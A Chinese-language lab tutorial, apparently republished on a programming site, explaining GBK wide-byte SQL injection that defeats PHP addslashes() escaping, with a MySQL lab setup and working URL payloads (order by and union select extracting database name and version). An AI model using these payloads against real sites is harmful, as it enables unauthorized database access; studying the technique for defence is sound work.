宽字节注入讲解

宽字节注入讲解我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。—-网易云热评一、原理1、单字节字符集:所有的字符都使用一个字节来表示,比如ASCII编码(0-127)2、多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字二、addslashes()函数1、addslashes(..

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

我讨厌现在的自己,一边压抑着自己的情绪,一边装作没事的样子,一到深夜就彻底崩溃了,天亮后还要微笑面对生活。。。

—-  网易云热评

一、原理

1、单字节字符集: 所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

2、多字节字符集: 在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

3、宽字节注入是利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字

 

二、addslashes()函数

1、addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

2、预定义字符是:单引号(’),双引号(”),反斜杠(\),NULL

3、实例

<?php

$ss=addslashes('aiyou"bu"cuoo');

echo($ss);

?>

运行结果:

aiyou\"bu\"cuoo

 

三、数据库创建

1、创建数据库名为jay

create database jay;

2、选择创建好的数据库

use jay;

3、创建表名为zhuanji,字段包括,id,neme,year,zhudage

create table zhuanji(id int primary key auto_increment,name varchar(255) not null,year int  not null,zhudage varchar(255) not null);

4、插入数据

insert into zhuanji (name,year,zhudage) values (“七里香”,”2004″,”七里香/外婆/我的地盘”);

insert into zhuanji (name,year,zhudage) values (“十一月的萧邦”,”2005″,”夜曲/发如雪/珊瑚海”);

insert into zhuanji (name,year,zhudage) values (“我很忙”,”2007″,”青花瓷/我不配/彩虹”);

5、中文编码问题,修改my.ini文件

[mysql]

default-character-set=gbk

[mysqld]

character-set-server=gbk

 

四、宽字节注入

1、访问该网址:http://192.168.0.104/aiyou/1.php?id=2,返回正常信息

宽字节注入讲解

2、判断是否存在注入,在id=2后面加入’,看是否报错,发现单引号被转义了

宽字节注入讲解

3、替换反斜杠,反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了

宽字节注入讲解

4、成功替换了反斜杠

宽字节注入讲解

5、获取数据库列数,order by 4返回正常

192.168.0.104/aiyou/1.php?id=2%E0′ order by 4 –+

宽字节注入讲解

 

6、获取数据库名称及版本号

192.168.0.104/aiyou/1.php?id=-2%E0′ union select 1,database(),version(),4 –+

宽字节注入讲解

 

 

禁止非法,后果自负

欢迎关注公众号:web安全工具库

宽字节注入讲解

 

 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/181922.html原文链接:https://javaforall.net

(0)
上一篇 2022年10月14日 下午10:00
下一篇 2022年10月14日 下午10:00


相关推荐

  • mybatis分页查询之sql server–mysql[通俗易懂]

    mybatis分页查询之sql server–mysql[通俗易懂]freemarker.beansKey”location”wasnotfoundoninstanceoforg.springframework.jdbc.UncategorizedSQLException.freemarker.beansKey”location”wasnotfoundoninstanceofcom.microsoft.sqlserver.jdbc.SQLServerException.sqlserver使用mybatis中分页查询时出现故障

    2022年5月12日
    43
  • gbdt算法理解_gbdt算法原理

    gbdt算法理解_gbdt算法原理      谈及gbdt算法,不得不提GB与dt算法,即使用梯度提升回归树的方式进行回归提升。     以下贴上经典算法图:    1、第一步,算法中的参数,建立M棵回归树,每颗树的深度都为J,其中有一棵树为第一次建立的回归树,其余M-1棵树为残差(在梯度提升回归树里面为使损失函数最小的梯度向量)建立的树,F(X)为估值向量,即每一例为x样本在K类上的估值。   …

    2022年10月10日
    5
  • 经典sql实例大全

    经典sql实例大全经典sql实例大全

    2022年4月24日
    64
  • 程序化交易学习笔记(一)

    程序化交易学习笔记(一)了解学习期货程序化交易及其编程程序化交易 制定规则 严格按照规则去交易 本质 构建投资组合 程序化交易不是 科研 而是一项 工程 巴菲特说 分散化是对于无知的一种保护一 为什么要进行程序化交易减少盯盘的压力与情绪上的干扰 外盘也需要关注 超级行情时 人的情绪无法打败固定的交易模型 复制成功的交易模式其他优势 利用统计优势寻找机会点加快策略研发的速度 让交易规模达到效率化 系统化减少盲目失败

    2026年3月17日
    2
  • 时滞/延迟微分方程(delay-differential equation)

    时滞/延迟微分方程(delay-differential equation)问题原来微分方程里面还有一类比较特殊复杂的。delaydifferentialequation(维基).翻了几篇相关的硕士和博士论文,感觉用处不大。不过,用软件做出来效果比较漂亮。与之相关的,分支或分叉(bifurcation)是一个似乎在包括迭代的动力系统里面都普遍的一个概念。Wolfram关于这个概念的文档延迟微分方程是一种微分方程,其在当前时间的时间导数取决于它在以往时间的解

    2026年4月19日
    5
  • Java数组的定义与使用

    Java数组的定义与使用文章目录前言一 数组的概念二 数组的定义三 数组的初始化 1 数组的静态初始化 2 数组的动态初始化 3 区别四 数组的使用总结前言数组是学习 Java 的一个重要重要工具 对我们以后项目的构建也有重要的帮助 今天我们来了解一下数组的定义与使用 一 数组的概念在大部分语言中其中数组内的每个元素被称为数组元素 我们可以通过访问下标来寻找数组元素二 数组的定义代码如下 publicclasss publicstatic String args

    2026年3月17日
    2

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号